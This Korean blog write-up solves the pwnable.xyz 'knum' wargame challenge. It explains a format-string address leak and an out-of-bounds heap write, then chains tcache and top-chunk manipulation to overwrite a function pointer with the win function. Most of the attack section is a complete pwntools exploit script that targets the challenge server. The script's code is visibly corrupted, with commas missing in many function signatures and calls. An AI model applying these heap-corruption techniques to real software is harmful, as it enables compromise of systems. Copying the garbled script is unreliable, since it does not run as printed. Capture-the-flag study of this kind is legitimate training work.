본문으로 바로가기

pwnable.xyz / knum

category Wargame/pwnable.xyz 2020. 5. 22. 16:44

pwnable.xyz에서 가장 적은 solve 수를 자랑하는 문제다. 바이너리도 구조가 단순한 편이 아니라 취약점 찾는 게 좀 힘들었다.

 

바이너리가 strip 되어 있기 때문에 먼저 이름을 다 붙여준다.

 

 

또 여기서는 스택을 (거의) 사용하지 않고, malloc으로 char 배열을 쓰거나 어떤 구조체를 위한 공간을 할당한다. (위 그림 전역변수 타입 참고) 분석에 사용한 구조체는 아래 2가지가 있다.

 

 

show_hiscore에서 익숙한 버그가 눈에 들어온다.

 

void __fastcall show_hiscore()
{
  int i; // [rsp+Ch] [rbp-4h]

  putchar(10);
  puts("Hall of fame - All time best knum players");
  puts("#################################################################");
  for ( i = 0; i <= 9; ++i )
  {
    __printf_chk(1, "%d. %s - %d\n\t", (unsigned int)(i + 1), &ptr[i], (unsigned int)ptr[i].score);
    __printf_chk(1, ptr[i].remark);
    putchar(10);
  }
  puts("#################################################################");
  putchar(10);
}

 

hiscore_entry의 remark를 통해 FSB가 통하긴 하는데, _FORTIFY_SOURCE 옵션이 붙어있기 때문에 %n을 쓸 수 없어서 stack, libc와 process image 주소 leak만 가능하다. (positional argument도 못 쓴다)

 

    while ( !x && !y || field[16 * y + x] )
    {
      __printf_chk(1, "Player %d - Enter your move (invalid input to end game)\n", (unsigned int)info->current_player);
      __printf_chk(1, "- Enter target field (x y): ");

      if ( __isoc99_scanf("%d %d", &x, &y) != 2 )
      {
        valid = 0;
        break;
      }
    }

    if ( !valid )
      break;

    if ( x > 16 || y > 10 )
    {
      puts("Invalid move...");
    }
    else
    {
      while ( !val || val > 255 )
      {
        __printf_chk(1, "- Enter the value you want to put there (< 255): ");
        __isoc99_scanf("%d", &val);
      }

      field[16 * (10 - y) - 1 + x] = val;
      pt = update_field();

 

play_game 함수에는 OOB write 버그가 있다. field의 chunk 크기는 0xA0 (헤더 제외) 인데, y가 0이면 field[160+x-1] 에 값을 쓰므로 다음 chunk의 헤더 필드 16바이트를 조작할 수 있다. play_game까지 실행한 시점에서 heap 상태는 아래와 같다.

 

 

즉 ptr의 prev_size와 size 필드를 조작할 수 있게 된다.

전반적인 시나리오는 아래와 같다. 원래 글로 설명하려고 했으나 말로 설명하는 재주가 없어서 그런지, 전달이 매끄럽게 잘 안되는 듯 해서 아래에 그림으로도 그려봤다.

 

1. ptr의 size 필드 값을 0x8B1로 바꾼다.

2. reset_hiscore 함수를 실행하면 free(ptr); 을 실행하면서 ptr, info, s_menu가 전부 top chunk에 들어간다. 이후 malloc(0x7A8); 을 실행하면 top chunk는 info를 가리킨다.

3. update_hiscore에서 name과 remark를 free하기 때문에 각각 0x50, 0x90 크기의 chunk 1개가 tcache에 들어가 있는 상태가 된다. drop_note로 note 포인터에 tcache가 잡고 있던 주소를 할당시킨다.

4. drop_note로 0x50 크기의 tcache entry를 비우고 나면 update_hiscore에서 할당받는 0x50 크기 chunk는 top chunk에서 할당받게 된다. 즉 이름을 쓰는 곳에 값을 잘 넣어서 info 구조체를 막 수정할 수 있다.

5. info->round_func를 win 주소로 바꾸고 play_game에서 함수를 실행시켜 플래그를 얻는다.

 

 

다 풀었다고 생각하고 그대로 돌렸더니 플래그가 나오지 않았다..

이유는, printf로 leak 한 5번째 주소는 Ubuntu에서는 __libc_csu_init (0x1A50) 주소를 가리키고 있었는데, Alpine에서는 _start (0xB80) 주소를 가리키고 있기 때문이었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from typing import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def append_newline(data:bytessize:int) :
    if len(data) < size :
        return data + b'\n'
    else :
        return data

def PlayGame(score:intname:bytesremark:bytesmodify:Dict[intint]=None) :
    p.writeline(b'1')

    for i in range(10) :
        p.writelineafter(b'(x y): ''1 {}'.format(i+1).encode())
        p.writelineafter(b'(< 255): 'b'100')

    for _ in range(score-1) :
        p.writelineafter(b'(x y): 'b'1 5')
        p.writelineafter(b'(< 255): 'b'100')
        p.writelineafter(b'(x y): 'b'1 10')
        p.writelineafter(b'(< 255): 'b'100')

    if modify :
        for i in modify :
            assert(i < 0xB0)
            p.writelineafter(b'(x y): ''{} {}'.format(i%16+110-i//16).encode())
            p.writelineafter(b'(< 255): 'str(modify[i]).encode())

    p.writelineafter(b'(x y): 'b'a')
    result = p.read().split(b'\n')[0]

    if result == b'You didn\'t make it in the hall of fame :(' :
        log_info('failed hiscore update')
        return

    p.write(append_newline(name, 0x3F))
    p.write(append_newline(remark, 0x7F))

    log_info('hiscore update: score={}, name={}, remark={}'.format(score, name, remark))

def ShowHiscore() -> List[Tuple[bytesintbytes]]:
    hall_of_fame = []
    p.writeline(b'2')
    p.readuntil(b'##########\n')

    for i in range(10) :
        p.readuntil('{}. '.format(i+1).encode())
        r = p.readline().split(b' - ')
        name, score = r[0], int(r[1])

        p.readuntil(b'\t')
        remark = p.readline(keepends=False)
        hall_of_fame.append((name, score, remark))

    return hall_of_fame

def ResetHiscore() :
    p.writeline(b'3')

def DropNote(note:bytes) :
    p.writeline(b'4')
    p.writeafter(b': ', append_newline(note, 0x47))

def exploit() :
    # leak process image base address
    PlayGame(2b'A'b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p')
    leak = ShowHiscore()[9][2].split(b' ')

    if args.remote :
        proc_base = int(leak[4], 16) - 0xB80
    else :
        proc_base = int(leak[4], 16) - 0x1A50

    win = proc_base + 0x19FE
    log_info('image base: '+hex(proc_base))
    log_info('win = '+hex(win))

    ResetHiscore()
    PlayGame(2b'A'b'A'modify={0xA8:0xB10xA9:0x8})
    ResetHiscore()
    DropNote(b'A')
    PlayGame(2b'A'*0x20+p64(win), b'A')
    p.writeline(b'1')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30043fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/22/2020

 

 

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / fishing  (0) 2020.05.30
pwnable.xyz / BabyVM  (0) 2020.05.22
pwnable.xyz / PvE  (0) 2020.05.12
pwnable.xyz / note v3  (0) 2020.05.11
pwnable.xyz / world  (0) 2020.05.11